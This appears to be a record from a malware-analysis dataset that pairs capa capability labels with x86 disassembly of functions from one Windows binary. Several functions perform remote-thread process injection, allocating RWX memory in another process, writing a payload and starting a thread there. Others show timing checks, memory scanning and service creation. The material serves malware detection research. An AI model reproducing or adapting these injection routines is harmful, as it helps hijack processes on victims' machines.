joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41e450
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x40
mov eax, dword [0x4a1620]
xor eax, esp
mov dword [esp + 0x3c], eax
push ebp
mov ebp, dword [esp + 0x48]
push esi
mov esi, dword [edi + 0xbc]
add ebp, ebp
add ebp, ebp
push ebp
push 0xc
push 0x1430
call fcn.004026d0
add esp, 0xc
test eax, eax
je 0x41e577
push 0x38
lea eax, [esp + 0x10]
push 0
push eax
call fcn.00467720
add esp, 0xc
cmp byte [edi + 0x308], 1
mov dword [esp + 0xc], ebp
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0x10], 4
jne 0x41e4cf
mov byte [edi + 0x308], 0
mov dword [0x4a5c00], 0
mov dword [0x4a5bfc], 0
jmp 0x41e4d8
mov eax, dword [0x4a5c00]
test eax, eax
jne 0x41e4f1
mov ecx, dword [edi + 0xbc]
push 4
push 0x1000
push 0x38
push 0
push ecx
call ebp
mov dword [0x4a5c00], eax
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0x38
lea edx, [esp + 0x14]
push edx
push eax
mov eax, dword [edi + 0xbc]
push eax
call esi
mov eax, dword [0x4a5bfc]
test eax, eax
jne 0x41e530
mov ecx, dword [edi + 0xb4]
mov edx, dword [edi + 0xbc]
push 0x40
push 0x3000
push ecx
push eax
push edx
call ebp
mov dword [0x4a5bfc], eax
mov ecx, dword [edi + 0xb4]
mov edx, dword [edi + 0xbc]
push 0
push ecx
push 0x442940
push eax
push edx
call esi
mov ecx, dword [0x4a5c00]
mov edx, dword [0x4a5bfc]
lea eax, [edi + 0xc0]
push eax
mov eax, dword [edi + 0xbc]
push 0
push ecx
push edx
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x44]
pop esi
pop ebp
xor ecx, esp
mov al, 1
call fcn.00465b73
add esp, 0x40
ret 4
Function at 0x41f8b0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xc
cmp byte [0x4a5c5c], 0
push ebx
push ebp
push esi
push edi
mov edi, eax
jne 0x41fb2c
mov eax, dword [0x4a5c58]
xor ebp, ebp
sub eax, ebp
je 0x41f94f
sub eax, 1
je 0x41f906
sub eax, 1
je 0x41f8ec
mov dword [0x4a5c58], ebp
mov dword [0x4a5c54], ebp
jmp 0x41fb1a
mov eax, dword [edi + 0x830]
mov dword [0x4a5c54], eax
mov dword [0x4a5c58], 3
jmp 0x41fb1a
mov ecx, dword [0x4a5c50]
mov eax, dword [edi + 0x2e8]
mov esi, dword [edi + 0xbc]
push 0x14
lea edx, [ecx*4]
mov ecx, dword [edi + 0x4878]
push edx
push 0xc
push eax
call fcn.00402610
add esp, 0x10
cmp dword [0x4a5c4c], eax
jne 0x41fb13
mov ebx, dword [0x4a5c50]
call fcn.0041aec0
jmp 0x41fb13
mov esi, dword [edi + 0x82c]
mov ecx, dword [edi + 0x4800]
imul ecx, esi
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp dword [edi + 0x47f8], ecx
jge 0x41fb1a
cmp esi, ebp
jle 0x41fb1a
cmp dword [edi + 0x830], ebp
jle 0x41fb1a
mov eax, dword [edi + 0x4878]
mov esi, dword [edi + 0xbc]
mov ebx, dword [edi + 0x2e8]
push ebp
push 4
lea edx, [esp + 0x1c]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x41f9bf
mov dword [esp + 0x10], 0xfffffffd
jmp 0x41f9d2
push 0x10
push ebx
lea eax, [esp + 0x1c]
call fcn.00402520
add esp, 8
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10], ebp
mov dword [esp + 0x14], ebp
jle 0x41fb1a
mov eax, dword [edi + 0x2e8]
mov ecx, dword [edi + 0x4878]
mov esi, dword [edi + 0xbc]
push 8
push ebp
push 0xc
push eax
call fcn.00402610
mov ecx, dword [edi + 0x2e8]
mov esi, dword [edi + 0xbc]
push 0x78
push ebp
push 0xc
push ecx
mov ecx, dword [edi + 0x4878]
mov ebx, eax
call fcn.00402610
mov ecx, dword [edi + 0xbc]
add esp, 0x20
push 0
push 4
lea edx, [esp + 0x20]
mov esi, eax
mov eax, dword [edi + 0x489c]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x41fa47
or eax, 0xffffffff
jmp 0x41fa4b
mov eax, dword [esp + 0x18]
cmp ebx, 0x744
jbe 0x41fa5b
cmp ebx, 0x74f
jb 0x41fab0
cmp ebx, 0x16
je 0x41fab0
cmp ebx, 0x5d3c
jbe 0x41fa70
cmp ebx, 0x5d40
jb 0x41fab0
cmp ebx, 0x5b31
je 0x41fab0
cmp ebx, 0x501f
je 0x41fab0
cmp ebx, 0xa90d
je 0x41fab0
cmp ebx, 0x5d41
je 0x41fab0
cmp ebx, 0xf9f
je 0x41fab0
cmp ebx, 0x1921
je 0x41fab0
cmp ebx, 0xc0c3
je 0x41fab0
cmp ebx, 0x7a39
jne 0x41fab4
cmp eax, esi
jae 0x41face
mov eax, dword [esp + 0x14]
add eax, 1
add ebp, 4
cmp eax, dword [esp + 0x10]
mov dword [esp + 0x14], eax
jl 0x41f9e0
jmp 0x41fb1a
mov ebx, dword [esp + 0x14]
mov ecx, dword [edi + 0x2e8]
mov esi, dword [edi + 0xbc]
push 0x14
lea eax, [ebx*4]
push eax
push 0xc
push ecx
mov ecx, dword [edi + 0x4878]
call fcn.00402610
add esp, 0x10
mov dword [0x4a5c4c], eax
mov dword [0x4a5c50], ebx
call fcn.0041aec0
mov dword [0x4a5c54], 0x1f4
add dword [0x4a5c58], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x4a5c48], eax
mov byte [0x4a5c5c], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x4a5c48]
cmp eax, dword [0x4a5c54]
mov al, 1
jl 0x41fb53
mov dword [0x4a5c54], 0
mov byte [0x4a5c5c], 0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x4203f0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
cmp byte [esi + 0x2fc], 1
jne 0x42040c
mov byte [esi + 0x2fc], 0
mov dword [0x4a5bb8], 0
jmp 0x420415
mov eax, dword [0x4a5bb8]
test eax, eax
jne 0x420437
mov eax, dword [esi + 0xb4]
mov ecx, dword [esi + 0xbc]
push 0x40
push 0x3000
push eax
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x4a5bb8], eax
mov edx, dword [esi + 0xb4]
push 0
push edx
push 0x442a20
push eax
mov eax, dword [esi + 0xbc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [0x4a5bb8]
mov eax, dword [esi + 0xbc]
lea ecx, [esi + 0xc0]
push ecx
push 0
push 0
push edx
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
ret
Function at 0x4213e0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x50
mov eax, dword [0x4a1620]
xor eax, esp
mov dword [esp + 0x48], eax
mov eax, dword [edi + 0x12a4]
test eax, eax
push ebx
push ebp
push esi
mov dword [edi + 0x1280], eax
je 0x4215ed
mov eax, dword [edi + 0x2e0]
mov esi, dword [edi + 0xbc]
push 0x18
push eax
push 8
push 0x1c
mov ecx, 0xc454c4
call fcn.00402610
mov ecx, dword [edi + 0x1280]
add esp, 0x10
sub ecx, 1
js 0x421601
cmp ecx, dword [edi + 0x12a4]
jge 0x421601
mov edx, dword [edi + 0x12a0]
mov ecx, dword [edx + ecx*4]
mov edx, dword [edi + 0xbc]
push 0
push 4
lea esi, [esp + 0x20]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
add ecx, eax
push ecx
push edx
call esi
test eax, eax
jne 0x42146d
or ebx, 0xffffffff
jmp 0x421471
mov ebx, dword [esp + 0x18]
mov eax, dword [edi + 0xbc]
push 0
push 4
lea ecx, [esp + 0x14]
push ecx
lea edx, [ebx + 8]
push edx
push eax
call esi
test eax, eax
jne 0x421495
mov dword [esp + 0xc], 0xffffffff
jmp 0x42149d
mov eax, dword [esp + 0xc]
mov dword [esp + 0xc], eax
mov ebp, dword [edi + 0xbc]
push 0
push 4
lea ecx, [esp + 0x18]
push ecx
lea edx, [ebx + 4]
push edx
push ebp
call esi
test eax, eax
jne 0x4214be
mov esi, 0xfffffffe
jmp 0x4214e1
mov eax, dword [esp + 0x10]
push 0
push 4
lea ecx, [esp + 0x1c]
push ecx
add eax, 0x110
push eax
push ebp
call esi
test eax, eax
mov esi, 0xffffffeb
je 0x4214e1
mov esi, dword [esp + 0x14]
mov edx, dword [edi + 0x1280]
push 1
sub edx, 1
push edx
lea ecx, [edi + 0x129c]
call fcn.00451133
xor ebp, ebp
cmp ebx, ebp
je 0x4215ed
push 0x38
lea eax, [esp + 0x20]
push ebp
push eax
call fcn.00467720
mov ecx, dword [esp + 0x18]
mov edx, dword [edi + 0x2d8]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add esp, 0xc
cmp byte [edi + 0x2fd], 1
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], edx
jne 0x42154c
mov byte [edi + 0x2fd], 0
mov dword [0x4a5bf0], ebp
mov dword [0x4a5bec], ebp
jmp 0x421555
mov eax, dword [0x4a5bf0]
cmp eax, ebp
jne 0x42156d
mov eax, dword [edi + 0xbc]
push 4
push 0x1000
push 0x38
push ebp
push eax
call ebx
mov dword [0x4a5bf0], eax
mov edx, dword [edi + 0xbc]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebp
push 0x38
lea ecx, [esp + 0x24]
push ecx
push eax
push edx
call esi
mov eax, dword [0x4a5bec]
cmp eax, ebp
jne 0x4215ab
mov eax, dword [edi + 0xb4]
mov ecx, dword [edi + 0xbc]
push 0x40
push 0x3000
push eax
push ebp
push ecx
call ebx
mov dword [0x4a5bec], eax
mov edx, dword [edi + 0xb4]
push ebp
push edx
push 0x4429a0
push eax
mov eax, dword [edi + 0xbc]
push eax
call esi
mov edx, dword [0x4a5bf0]
mov eax, dword [0x4a5bec]
lea ecx, [edi + 0xc0]
push ecx
mov ecx, dword [edi + 0xbc]
push ebp
push edx
push eax
push ebp
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x54]
pop esi
pop ebp
pop ebx
xor ecx, esp
mov al, 1
call fcn.00465b73
add esp, 0x50
ret
jmp fcn.0044c4a2
Function at 0x4328b0
Capabilities:
Terminate process

Disassembly:
push ecx
push esi
push edi
mov edi, eax
cmp byte [edi + 0x48c0], 0
je 0x4328da
call fcn.0041af10
mov dword [edi + 0x48bc], 0x1f4
mov byte [edi + 0x48c0], 0
mov al, 1
pop edi
pop esi
pop ecx
ret
call fcn.00420370
mov esi, dword [edi + 0xbc]
push 0x264
push 0x28
push 0x1c
mov ecx, 0xc454c4
call fcn.00402570
add esp, 0xc
cmp dword [edi + 0x480c], eax
je 0x43290b
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
add dword [edi + 0x48b0], 1
mov dword [edi + 0x48bc], 0x320
mov byte [edi + 0x48c0], 1
pop edi
mov al, 1
pop esi
pop ecx
ret

Function at 0x4331a0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x40
mov eax, dword [0x4a1620]
xor eax, esp
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x44]
mov edx, dword [edi + 0x2e8]
push ebp
push esi
mov esi, dword [edi + 0xbc]
lea ecx, [eax*4]
push ecx
push 0xc
push edx
call fcn.004026d0
push 0x38
mov esi, eax
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.00467720
add esp, 0x18
test esi, esi
mov dword [esp + 0xc], esi
je 0x4332c3
cmp byte [edi + 0x2fe], 1
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
jne 0x43321b
mov byte [edi + 0x2fe], 0
mov dword [0x4a5be8], 0
mov dword [0x4a5be4], 0
jmp 0x433224
mov eax, dword [0x4a5be8]
test eax, eax
jne 0x43323d
mov ecx, dword [edi + 0xbc]
push 4
push 0x1000
push 0x38
push 0
push ecx
call ebp
mov dword [0x4a5be8], eax
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0x38
lea edx, [esp + 0x14]
push edx
push eax
mov eax, dword [edi + 0xbc]
push eax
call esi
mov eax, dword [0x4a5be4]
test eax, eax
jne 0x43327c
mov ecx, dword [edi + 0xb4]
mov edx, dword [edi + 0xbc]
push 0x40
push 0x3000
push ecx
push eax
push edx
call ebp
mov dword [0x4a5be4], eax
mov ecx, dword [edi + 0xb4]
mov edx, dword [edi + 0xbc]
push 0
push ecx
push 0x442b00
push eax
push edx
call esi
mov ecx, dword [0x4a5be8]
mov edx, dword [0x4a5be4]
lea eax, [edi + 0xc0]
push eax
mov eax, dword [edi + 0xbc]
push 0
push ecx
push edx
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x44]
pop esi
pop ebp
xor ecx, esp
mov al, 1
call fcn.00465b73
add esp, 0x40
ret 4
Function at 0x4332e0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x40
mov eax, dword [0x4a1620]
xor eax, esp
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x44]
mov edx, dword [edi + 0x2e8]
push ebp
push esi
mov esi, dword [edi + 0xbc]
lea ecx, [eax*4]
push ecx
push 0xc
push edx
call fcn.004026d0
push 0x38
mov esi, eax
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.00467720
add esp, 0x18
test esi, esi
mov dword [esp + 0xc], esi
je 0x433403
cmp byte [edi + 0x2ff], 1
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
jne 0x43335b
mov byte [edi + 0x2ff], 0
mov dword [0x4a5be0], 0
mov dword [0x4a5bdc], 0
jmp 0x433364
mov eax, dword [0x4a5be0]
test eax, eax
jne 0x43337d
mov ecx, dword [edi + 0xbc]
push 4
push 0x1000
push 0x38
push 0
push ecx
call ebp
mov dword [0x4a5be0], eax
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0x38
lea edx, [esp + 0x14]
push edx
push eax
mov eax, dword [edi + 0xbc]
push eax
call esi
mov eax, dword [0x4a5bdc]
test eax, eax
jne 0x4333bc
mov ecx, dword [edi + 0xb4]
mov edx, dword [edi + 0xbc]
push 0x40
push 0x3000
push ecx
push eax
push edx
call ebp
mov dword [0x4a5bdc], eax
mov ecx, dword [edi + 0xb4]
mov edx, dword [edi + 0xbc]
push 0
push ecx
push 0x442b30
push eax
push edx
call esi
mov ecx, dword [0x4a5be0]
mov edx, dword [0x4a5bdc]
lea eax, [edi + 0xc0]
push eax
mov eax, dword [edi + 0xbc]
push 0
push ecx
push edx
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x44]
pop esi
pop ebp
xor ecx, esp
mov al, 1
call fcn.00465b73
add esp, 0x40
ret 4
Function at 0x433f10
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push 0xffffffffffffffff
push 0x47e6f8
mov eax, dword fs:[0]
push eax
sub esp, 0xcc
push ebx
push ebp
push edi
mov eax, dword [0x4a1620]
xor eax, esp
push eax
lea eax, [esp + 0xdc]
mov dword fs:[0], eax
mov dword [esp + 0xe4], 0
mov edi, dword [esp + 0xec]
mov eax, dword [edi - 0xc]
cmp eax, 0x30
jge 0x434073
push 0xc0
lea eax, [esp + 0x18]
push 0
push eax
call fcn.00467720
mov ebp, dword [edi - 0xc]
mov ebx, 1
add esp, 0xc
cmp dword [edi - 4], ebx
jle 0x433f91
mov ecx, ebp
push ecx
lea ecx, [esp + 0xf0]
call fcn.004013b0
mov edi, dword [esp + 0xec]
push ebp
lea edx, [esp + 0x18]
push edx
push 0xffffffffffffffff
push edi
xor ebp, ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp byte [esi + 0x300], bl
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
jne 0x433fc7
mov byte [esi + 0x300], 0
mov dword [0x4a5c20], ebp
mov dword [0x4a5c1c], ebp
jmp 0x433fd0
mov eax, dword [0x4a5c20]
cmp eax, ebp
jne 0x433feb
mov eax, dword [esi + 0xbc]
push 4
push 0x1000
push 0xc0
push ebp
push eax
call ebx
mov dword [0x4a5c20], eax
mov edx, dword [esi + 0xbc]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0xc0
lea ecx, [esp + 0x1c]
push ecx
push eax
push edx
call ebp
mov eax, dword [0x4a5c1c]
test eax, eax
jne 0x43402d
mov eax, dword [esi + 0xb4]
mov ecx, dword [esi + 0xbc]
push 0x40
push 0x3000
push eax
push 0
push ecx
call ebx
mov dword [0x4a5c1c], eax
mov edx, dword [esi + 0xb4]
push 0
push edx
push 0x442b90
push eax
mov eax, dword [esi + 0xbc]
push eax
call ebp
mov edx, dword [0x4a5c20]
mov eax, dword [0x4a5c1c]
lea ecx, [esi + 0xc0]
push ecx
mov ecx, dword [esi + 0xbc]
push 0
push edx
push eax
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [edi - 0x10]
mov dword [esp + 0xe4], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x43409a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0xdc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebp
pop ebx
add esp, 0xd8
ret 4
Function at 0x4340c0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0xffffffffffffffff
push 0x47f0f8
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebp
push esi
push edi
mov eax, dword [0x4a1620]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov esi, ecx
cmp byte [0x4a5c74], 0
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
jne 0x4341ff
call ebp
mov dword [0x4a5c70], eax
mov byte [0x4a5c74], 1
call fcn.0044bb76
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x434123
push 0x80004005
call fcn.004012e0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x10], eax
push 0
push 0
mov dword [esp + 0x28], 0
mov ecx, dword [esi + 0x3018]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
push 0x188
push ecx
call edi
test eax, eax
jl 0x434173
mov edx, dword [esi + 0x3018]
push 0
push 0
push 0x18b
push edx
call edi
mov ecx, dword [0x4a5c6c]
cmp ecx, eax
jl 0x43417b
xor ecx, ecx
mov dword [0x4a5c6c], ecx
mov eax, dword [esi + 0x3018]
push 0
push ecx
push 0x186
push eax
call edi
mov ecx, dword [esi + 0x3018]
push 0
push 0
push 0x188
push ecx
call edi
lea edx, [esp + 0x10]
push edx
push eax
lea ecx, [esi + 0x2ff8]
call fcn.0044edf2
mov eax, dword [esp + 0x10]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov edi, esp
push eax
call fcn.00402200
add eax, 0x10
add esp, 4
mov dword [edi], eax
call fcn.00433f10
add dword [0x4a5c6c], 1
mov dword [esp + 0x20], 0xffffffff
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4341ff
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
call ebp
sub eax, dword [0x4a5c70]
cmp eax, dword [esi + 0x304c]
jl 0x434216
mov byte [0x4a5c74], 0
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
add esp, 0x14
ret

Function at 0x436500
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x24
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov ax, word [esp]
cmp ax, 9
je 0x436523
cmp ax, 6
je 0x436523
xor eax, eax
add esp, 0x24
ret
mov eax, 1
add esp, 0x24
ret
Function at 0x436530
Capabilities:
Create service
Start service

Disassembly:
sub esp, 0x104
mov eax, dword [0x4a1620]
xor eax, esp
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x108]
push ebx
push esi
push 0
mov esi, ecx
lea ecx, [esp + 0xc]
push ecx
push 0x100
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x436615
push ebp
push edi
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x24]
push edx
push 0
push 3
push 1
push 0xf01ff
push esi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
jne 0x4365d9
call ebp
cmp eax, 0x3e5
je 0x4365c0
cmp eax, 0x431
je 0x4365c0
xor esi, esi
jmp 0x436601
push 0xf01ff
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x4365d9
call ebp
xor esi, esi
jmp 0x436601
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x4365fc
call ebp
cmp eax, 0x3e5
je 0x4365f8
cmp eax, 0x420
je 0x4365fc
xor esi, esi
jmp 0x436601
mov esi, 1
test edi, edi
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
je 0x43660e
push edi
call ebp
push ebx
call ebp
pop edi
mov eax, esi
pop ebp
mov ecx, dword [esp + 0x108]
pop esi
pop ebx
xor ecx, esp
call fcn.00465b73
add esp, 0x104
ret 4
Function at 0x4446b0
Capabilities:
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x47ea5d
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x4a1620]
xor eax, esp
push eax
lea eax, [esp + 8]
mov dword fs:[0], eax
mov esi, dword [esp + 0x18]
mov ecx, esi
call fcn.00444c49
xor ecx, ecx
mov eax, 0x400
mov edx, 2
mul edx
seto cl
mov dword [esp + 0x10], 0
mov dword [esi], vtable.WBCDialog.0
neg ecx
or ecx, eax
push ecx
call fcn.00444c05
push 0x800
push 0
push eax
mov dword [esi + 0x74], eax
call fcn.00467720
add esp, 0x10
cmp dword [esi + 0x74], 0
je 0x444766
mov byte [esp + 0x10], 1
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax + 0x20]
push 0x74
mov dword [esi + 0x7c], ecx
call fcn.00444bda
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x10], 2
je 0x44474c
push eax
call fcn.004449a0
jmp 0x44474e
xor eax, eax
mov dword [esi + 0x78], eax
mov eax, esi
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0xc
ret 8
push 0
call fcn.00465e12
int3
Function at 0x4453cc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x24
mov eax, 0x47cc58
call fcn.00467b94
mov esi, ecx
mov dword [ebp - 0x20], esi
mov eax, dword [esi + 0x60]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x5c]
mov dword [ebp - 0x18], eax
call fcn.0044ea9f
mov edi, dword [eax + 0xc]
xor ebx, ebx
cmp dword [esi + 0x58], ebx
je 0x445417
call fcn.0044ea9f
mov edi, dword [eax + 0xc]
push 5
push dword [esi + 0x58]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
je 0x445428
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jne 0x445435
or eax, 0xffffffff
jmp 0x445591
mov ecx, esi
call fcn.00444f1e
mov dword [ebp - 0x14], eax
call fcn.00448919
and dword [ebp - 0x28], ebx
cmp dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], ebx
je 0x4454b3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp dword [ebp - 0x14], eax
je 0x4454b3
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x4454b3
push 0
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x2c], 1
call fcn.004014c0
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x24], ebx
je 0x4454b3
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x120]
test eax, eax
je 0x4454b3
mov ecx, ebx
call fcn.0044587b
test eax, eax
je 0x4454b3
push 0
mov ecx, ebx
call fcn.00445896
mov dword [ebp - 0x28], 1
and dword [ebp - 4], 0
push esi
call fcn.0044a332
push dword [ebp - 0x14]
call fcn.00448871
push edi
push eax
push dword [ebp - 0x1c]
mov ecx, esi
call fcn.004451d4
xor edi, edi
cmp eax, edi
je 0x445510
test byte [esi + 0x3c], 0x10
je 0x4454fa
push 4
pop edi
mov ecx, esi
call fcn.00445762
test ax, 0x100
je 0x4454f0
push 5
pop edi
push edi
mov ecx, esi
call fcn.00448407
xor edi, edi
cmp dword [esi + 0x20], edi
je 0x445510
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.00445a86
or dword [ebp - 4], 0xffffffff
jmp 0x44553b
cmp dword [ebp - 0x28], edi
je 0x445549
push 1
mov ecx, ebx
call fcn.00445896
cmp dword [ebp - 0x2c], edi
je 0x445559
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x445572
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x20]
jne 0x445572
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x60]
mov ecx, esi
call fcn.00444f58
cmp dword [esi + 0x58], edi
je 0x44558e
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [esi + 0x44]
call fcn.00467c39
ret